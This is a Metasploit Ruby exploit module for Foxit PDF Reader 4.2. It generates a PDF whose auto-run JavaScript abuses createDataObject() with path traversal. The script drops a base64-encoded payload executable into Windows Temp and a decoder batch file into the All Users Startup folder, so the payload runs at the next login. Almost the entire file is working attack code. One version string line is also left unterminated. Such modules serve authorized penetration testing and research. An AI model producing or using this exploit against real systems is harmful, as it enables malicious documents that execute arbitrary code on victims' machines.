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##
# $Id: foxit_reader_filewrite.rb 11955 2011-03-14 12:01:55Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => 'Foxit PDF Reader 4.2 Javascript File Write',
'Description' => %q{
This module exploits an unsafe Javascript API implemented in Foxit PDF Reader
version 4.2. The createDataObject() Javascript API function allows for writing
arbitrary files to the file system. This issue was fixed in version 4.3.1.0218.
Note: This exploit uses the All Users directory currently, which required
administrator privileges to write to. This means an administrative user has to
open the file to be successful. Kind of lame but thats how it goes sometimes in
the world of file write bugs.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bannedit', # metasploit module
'Chris Evans' # Initial discover and exploit
],
'Version' => '$Revision: 11955
,
'References' =>
[
[ 'OSVDB', '71104' ],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Platform' => 'win',
'Targets' =>
[
['Automatic', { 'auto' => true } ], # uses both
['Foxit PDF Reader v4.2 (Windows XP SP0-SP3)', {}],
['Foxit PDF Reader v4.2 (Windows Vista/7/8/2008)', {}],
],
'DisclosureDate' => 'Mar 5 2011',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
OptString.new('DECODER', [ true, 'The decoder script.', 'vbs_b64']),
], self.class)
end
def exploit
decoder_file = rand_text_alpha(rand(6) + 1)
payload_file = rand_text_alpha(rand(6) + 1)
ext = '.b64'
exe = generate_payload_exe
payload_b64 = Rex::Text.encode_base64(exe)
decoder = build_decoder(decoder_file, payload_file)
path_old = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
path_new = 'c:/Users/All Users/Start Menu/Programs/Startup/'
pdf = %Q|
%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (
createDataObject\('#{path_old + "../../../../../WINDOWS/Temp/" + payload_file + ext}', "#{payload_b64}"\);
createDataObject\('#{path_old + decoder_file + '.bat'}', unescape\(\"#{decoder}\"\)\);
createDataObject\('#{path_new + "../../../../../WINDOWS/Temp/" + payload_file + ext}', "#{payload_b64}"\);
createDataObject\('#{path_new + decoder_file + '.bat'}', unescape\(\"#{decoder}\"\)\);) >> trailer<</Root 1 0 R>>|
file_create(pdf)
end
def build_decoder(decoder_file, payload_file)
file = []
decoder_bat = Msf::Config.data_directory + "/exploits/cmdstager/"
case datastore['DECODER']
when 'vbs_b64_adodb'
decoder_bat << datastore['DECODER']
when 'vbs_b64'
decoder_bat << datastore['DECODER']
else
print_status("Selected decoder is incompatible with this exploit.")
print_status("Defaulting to vbs_b64 decoder.")
decoder_bat << 'vbs_b64'
end
decoder = File.new(decoder_bat, "r").read
decoder << "cscript //nologo C:/Windows/Temp/" + decoder_file + '.vbs'
decoder.gsub!(/\"/, '\"')
decoder.gsub!(/\n/, " && ")
decoder.gsub!(/ENCODED/, "C:/Windows/Temp/" + payload_file + '.b64') # payload.b64
decoder.gsub!(/DECODED/, "C:/Windows/Temp/" + payload_file + '.exe') # payload.exe
decoder.gsub!(/decode_stub/, "C:/Windows/Temp/" + decoder_file + '.vbs')
return decoder = Rex::Text.uri_encode(decoder)
end
end
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